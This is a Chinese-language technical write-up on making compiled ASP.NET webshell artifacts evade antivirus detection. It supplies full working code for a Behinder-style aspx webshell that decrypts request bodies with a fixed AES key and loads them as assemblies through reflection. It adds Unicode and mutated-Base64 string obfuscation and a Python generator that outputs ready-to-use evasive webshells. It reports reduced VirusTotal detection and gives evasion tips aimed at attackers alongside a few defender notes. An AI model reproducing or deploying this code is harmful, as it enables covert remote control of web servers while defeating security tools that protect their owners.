ASP.NET下Webshell编译产物免杀
字数 998 2025-08-22 12:22:24
ASP.NET下Webshell编译产物免杀技术详解
一、背景与问题分析
1.1 Webshell免杀现状
- 传统Webshell文件免杀技术(如Unicode编码)对源文件有效
- 但编译后的产物仍会被杀毒软件(如卡巴斯基)检测到
- 以冰蝎aspx webshell为例,虽然aspx/ashx/asmx文件未被杀,但编译产物被杀导致无法连接
1.2 传统免杀技术失效分析
通过dnSpy反编译和测试,以下方法对编译产物无效:
- Unicode编码
- 空字符串连接
<%%>截断- 头部替换
- 特殊符号
@ - 注释
- 字符串常量的拼接(如
"Load"替换为"Lo"+"ad")
二、杀软查杀特征分析
2.1 主要查杀点
-
方法调用特征:
- AES解密:
System.Security.Cryptography.RijndaelManaged - 内存加载程序集:
System.Reflection.Assembly.Load
- AES解密:
-
字符串常量:
- 关键方法名和类名字符串
三、免杀技术实现
3.1 方法调用免杀技术
反射调用敏感方法
<% @ Page Language = "C#" %>
<%
Session.Add("k", "e45e329feb5d925b");
byte[] k = Encoding.Default.GetBytes(Session[0] + ""),
c = Request.BinaryRead(Request.ContentLength);
// AES解密
Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
object aes = Activator.CreateInstance(t1);
var decryptor = t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) });
var transform = decryptor.Invoke(aes, new object[] { k, k });
byte[] data = ((System.Security.Cryptography.ICryptoTransform)transform).TransformFinalBlock(c, 0, c.Length);
// 加载程序集
Type t2 = Type.GetType("System.Reflection.Assembly");
var load = t2.GetMethod("Load", new Type[] { typeof(byte[]) });
var assembly = load.Invoke(null, new object[] { data });
// 调用程序集
var createInstance = t2.GetMethod("CreateInstance", new Type[] { typeof(string) });
var instance = createInstance.Invoke(assembly, new object[] { "U" });
instance.Equals(this);
%>
3.2 字符串常量免杀技术
变异Base64编码
// 原始字符串
"Load"
// 变异Base64编码后
System.Text.Encoding.UTF8.GetString(
System.Convert.FromBase64String("T(G(9(h(Z(A(=(=".Replace("(", "")))
实现原理
- 将字符串转换为Base64编码
- 在Base64字符串中插入随机分隔符
- 使用时动态移除分隔符并解码
3.3 Unicode编码保留
为保证aspx文件本身的免杀,仍需使用Unicode编码:
// 原始
Session.Add
// Unicode编码后
\u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064
四、完整免杀实现
4.1 最终代码结构
<%@ Page Language="C#"%><%
\u0053\u0065\u0073\u0073\u0069\u006f\u006e.\u0041\u0064\u0064(
System.Text.Encoding.UTF8.GetString(
System.Convert.FromBase64String("a$w$=$=".Replace("$",""))),
System.Text.Encoding.UTF8.GetString(
System.Convert.FromBase64String("Z{T{Q{1{Z{T{M{y{O{W{Z{l{Y{j{V{k{O{T{I{1{Y{g{={=".Replace("{",""))));
byte[] k = \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0044\u0065\u0066\u0061\u0075\u006c\u0074.\u0047\u0065\u0074\u0042\u0079\u0074\u0065\u0073(\u0053\u0065\u0073\u0073\u0069\u006f\u006e[0] + "");
byte[] c = \u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0042\u0069\u006e\u0061\u0072\u0079\u0052\u0065\u0061\u0064(\u0052\u0065\u0071\u0075\u0065\u0073\u0074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068);
// 其余反射调用代码...
%>
4.2 免杀效果
- 原始检出率:15/xx (VT报告)
- 优化后检出率:7/xx (VT报告)
五、自动化生成工具
5.1 Python实现代码
import re
import base64
import random
BEHINDER = '''
Session.Add("k", "e45e329feb5d925b");
byte[] k = Encoding.Default.GetBytes(Session[0] + "");
byte[] c = Request.BinaryRead(Request.ContentLength);
Type t1 = Type.GetType("System.Security.Cryptography.RijndaelManaged");
Type t2 = Type.GetType("System.Reflection.Assembly");
t2.GetMethod("CreateInstance", new Type[] { typeof(string) }).Invoke(
t2.GetMethod("Load", new Type[] { typeof(byte[]) }).Invoke(null,
new object[] { ((System.Security.Cryptography.ICryptoTransform)
t1.GetMethod("CreateDecryptor", new Type[] { typeof(byte[]), typeof(byte[]) })
.Invoke(Activator.CreateInstance(t1), new object[] { k, k }))
.TransformFinalBlock(c, 0, c.Length) }),
new object[] { "U" }).Equals(this);
'''
def replunicode(m):
old = m.group(1)
new = "".join([f'\\u{ord(c):04x}' for c in old])
return m.group(0).replace(old, new)
def unicode(cs):
return re.sub(r'[^"]\b([A-Z]\w+)\b', replunicode, cs)
def replstr(m):
old: str = m.group(0)
if len(old) == 2: return old
old = old[1:-1]
b64str = base64.b64encode(old.encode('utf-8')).decode('ascii')
pad = random.choice("!@#$%^&*()_+-=[]{}|;:,.<>?")
new = pad.join(list(b64str))
return f'System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("{new}".Replace("{pad}", "")))'
def rstr(cs):
return re.sub(r'".*?"', replstr, cs)
src = unicode(rstr(BEHINDER)).replace('\n', '')
print(f'<%@ Page Language="C#"%><%{src}%>')
5.2 工具功能
- 自动将字符串常量转换为变异Base64编码
- 自动将方法名和类名转换为Unicode编码
- 生成可直接使用的免杀Webshell
六、防御建议
6.1 针对防御方
- 加强运行时行为监控,特别是反射调用敏感API
- 检测Base64解码后内容而非编码形式
- 监控内存中的程序集加载行为
6.2 针对攻击方
- 定期更新编码方式和字符串变异方法
- 结合更多混淆技术(如控制流混淆)
- 避免使用固定密钥和特征字符串
七、总结
本技术通过反射调用和字符串变异实现了ASP.NET Webshell编译产物的免杀,有效规避了杀毒软件对固定特征和字符串常量的检测。关键在于:
- 完全避免直接调用敏感API
- 动态解码关键字符串
- 保持源文件和编译产物的双重免杀